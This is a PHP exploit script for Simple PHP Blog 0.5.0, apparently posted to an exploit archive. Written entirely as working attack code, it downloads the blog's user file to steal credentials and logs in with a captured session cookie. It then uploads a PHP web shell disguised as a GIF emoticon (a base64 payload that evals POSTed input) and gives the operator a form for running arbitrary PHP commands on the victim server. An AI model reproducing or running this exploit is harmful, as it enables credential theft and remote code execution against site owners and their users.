sphpblog-exec.txt

`<?  
/*  
sIMPLE php bLOG 0.5.0 eXPLOIT  
bY mAXzA 2008  
*/  
function curl($url,$postvar){  
global $cook;  
$ch = curl_init( $url );  
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt ($ch, CURLOPT_HEADER, 1);  
curl_setopt ($ch, CURLOPT_REFERER,"$url");  
if (strlen($postvar)<3) $postvar="123";  
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postvar);  
if (strlen($cook)>3)  
curl_setopt ($ch, CURLOPT_COOKIE, "$cook");  
$res = curl_exec ($ch);$err=curl_error ( $ch );if ($err) print "<hr>$err<hr>";  
curl_close($ch);  
return $res;  
}  
  
function error($msg){  
print "<hr>$msg<hr>\n<h1>Not Exploitable";exit;  
}  
  
extract($_POST);extract($_GET);  
  
print "<pre>URL:<form method=post><input size=80 name=url value=`$url`>";  
if (strlen($eval)>3){  
$eval=stripslashes($eval);  
print "\nEnter PHP Command:\n<textarea name=eval rows=10 cols=90>$eval</textarea>";  
print "<input type=submit value='Eval'></form>";  
$res=curl("$url/images/emoticons/sphp.php","z=$eval");  
$res=strstr($res,"GIF89a");  
print substr($res,41);exit;  
}  
  
if (strlen($url)>10)  
{  
print "\n<hr>Trying to Get /config/users.php...";flush();  
$res=curl($url."/config/users.php","");  
if (strstr($res,'|')) print "Done!\n\n$res";  
else error("\n\nUsername & Password Not Found\n\n$res");  
  
print "\n<hr>Trying to Get Username & Password...";flush();  
$res=str_replace("\r\n","\n",$res);  
$res=substr($res,strpos($res,"\n\n")+2);  
$line=explode("\n",$res);$n=count($line)-1;  
if ($n) {  
print "\nDone! Found - $n users:\n";  
for ($x=0;$x<$n;$x++){  
$up=explode("|",$line[$x]);$user[$x]=$up[1];$pass[$x]=substr($up[2],0,2);  
print "\nUsername - ".$up[1]."\tPassword - ".$up[2];  
}  
}  
  
print "\n<hr>Trying to Login...";flush();  
$postvar="user=$user[0]&pass=$pass[0]&";  
$res=curl($url."/login_cgi.php","$postvar");  
$cook=strstr($res,'Set-Cookie: sid=');  
$cook=substr($cook,12,strpos($cook,';')-12);  
if ($cook) print "\n\nDone... Cookie - $cook";else error("\n<h1>Error To Login</h1>\n\n\n$res");  
  
print "\n<hr>Trying to Upload Emoticon...";flush();  
$buf="R0lGODlhAQABAIAAAP///wAAACH5BAEUAAAALAAAAAABAAEAAAICRAE8PyBldmFsKHN0cmlwc2xhc2hlcygkX1BPU1Rbel0pKTtleGl0Oz8+Ow==";  
if (@filesize('sphp.php')!=82){  
$f=fopen('sphp.php',"w");fwrite($f,base64_decode($buf));fclose($f);  
}  
$f=getcwd()."/sphp.php";  
$res=curl($url."/emoticons.php",array('user_emot'=>"@$f"));  
if (strstr($res,"Success!")) print "\n\nDone! Exploit path - $url/images/emoticons/sphp.php"; else error("\n<h1>Error To Upload</h1>\n\n\n$res");  
  
print "\n<hr>Trying to Exploit...";flush();  
$res=curl($url."/images/emoticons/sphp.php","z=print 20080824;");  
if (strstr($res,"20080824")) print "\n\nDone! Exploit Working!"; else error("\n<h1>Error To Exploit</h1>\n\n\n$res");  
  
print "\n<hr>Trying to Logout...";flush();  
$res=curl($url."/logout.php","");  
if (strstr($res,"You are now logged out")) print "\n\nDone!"; else error("\n<h1>Error To Logout</h1>\n\n\n$res");  
print "\nEnter PHP Command:\n<textarea name=eval rows=10 cols=90></textarea>";  
}  
print "<input type=submit ></form>";  
?>  
  
  
`